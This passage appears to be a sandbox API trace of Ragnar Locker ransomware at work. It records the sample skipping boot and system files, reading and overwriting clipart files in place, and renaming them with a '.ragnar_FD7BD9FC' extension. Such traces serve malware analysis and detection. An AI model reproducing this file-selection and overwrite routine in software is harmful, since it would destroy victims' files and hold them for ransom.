[0082.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.528] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2116) returned 1 [0082.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x83b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.528] GetProcessHeap () returned 0x580000 [0082.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.528] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.529] VirtualAlloc (lpAddress=0x0, dwSize=0x844, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.530] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x844, lpOverlapped=0x0) returned 1 [0082.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x844, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.530] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x844, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x844, lpOverlapped=0x0) returned 1 [0082.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x844, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.530] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.530] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.531] GetProcessHeap () returned 0x580000 [0082.531] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.531] CloseHandle (hObject=0xf4) returned 1 [0082.531] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" [0082.531] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ragnar_FD7BD9FC" [0082.531] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.531] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0082.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.531] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00636_.WMF" | out: lpString1="HH00636_.WMF") returned="HH00636_.WMF" [0082.531] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned=".WMF" [0082.531] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.531] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="autorun.inf") returned 1 [0082.531] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="boot.ini") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="bootfont.bin") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="bootsect.bak") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="bootmgr") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="bootmgr.efi") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="desktop.ini") returned 1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="iconcache.db") returned -1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="ntldr") returned -1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="ntuser.dat") returned -1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="ntuser.ini") returned -1 [0082.532] lstrcmpiW (lpString1="HH00636_.WMF", lpString2="thumbs.db") returned -1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.532] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0082.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.533] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1568) returned 1 [0082.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x617, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.533] GetProcessHeap () returned 0x580000 [0082.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.533] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.534] VirtualAlloc (lpAddress=0x0, dwSize=0x620, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.535] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x620, lpOverlapped=0x0) returned 1 [0082.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x620, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.535] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x620, lpOverlapped=0x0) returned 1 [0082.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x620, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.535] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x620, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.535] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.535] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.536] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.536] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.536] GetProcessHeap () returned 0x580000 [0082.536] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.536] CloseHandle (hObject=0xf4) returned 1 [0082.536] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" [0082.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ragnar_FD7BD9FC" [0082.536] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.536] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0082.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.536] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00669_.WMF" | out: lpString1="HH00669_.WMF") returned="HH00669_.WMF" [0082.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned=".WMF" [0082.536] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.536] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="autorun.inf") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="boot.ini") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="bootfont.bin") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="bootsect.bak") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="bootmgr") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="bootmgr.efi") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="desktop.ini") returned 1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="iconcache.db") returned -1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="ntldr") returned -1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="ntuser.dat") returned -1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="ntuser.ini") returned -1 [0082.537] lstrcmpiW (lpString1="HH00669_.WMF", lpString2="thumbs.db") returned -1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0082.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11490) returned 1 [0082.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.538] GetProcessHeap () returned 0x580000 [0082.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.538] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2ce2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.540] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ce2, lpOverlapped=0x0) returned 1 [0082.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ce2, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.541] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ce2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ce2, lpOverlapped=0x0) returned 1 [0082.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ce2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.541] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ce2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.541] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.541] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.541] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.541] GetProcessHeap () returned 0x580000 [0082.541] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.541] CloseHandle (hObject=0xf4) returned 1 [0082.541] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" [0082.541] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ragnar_FD7BD9FC" [0082.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.542] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0082.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.542] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00681_.WMF" | out: lpString1="HH00681_.WMF") returned="HH00681_.WMF" [0082.542] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned=".WMF" [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="autorun.inf") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="boot.ini") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="bootfont.bin") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="bootsect.bak") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="bootmgr") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="bootmgr.efi") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="desktop.ini") returned 1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="iconcache.db") returned -1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="ntldr") returned -1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="ntuser.dat") returned -1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.542] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="ntuser.ini") returned -1 [0082.543] lstrcmpiW (lpString1="HH00681_.WMF", lpString2="thumbs.db") returned -1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.543] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0082.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.543] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9300) returned 1 [0082.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x244b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.543] GetProcessHeap () returned 0x580000 [0082.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.543] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, 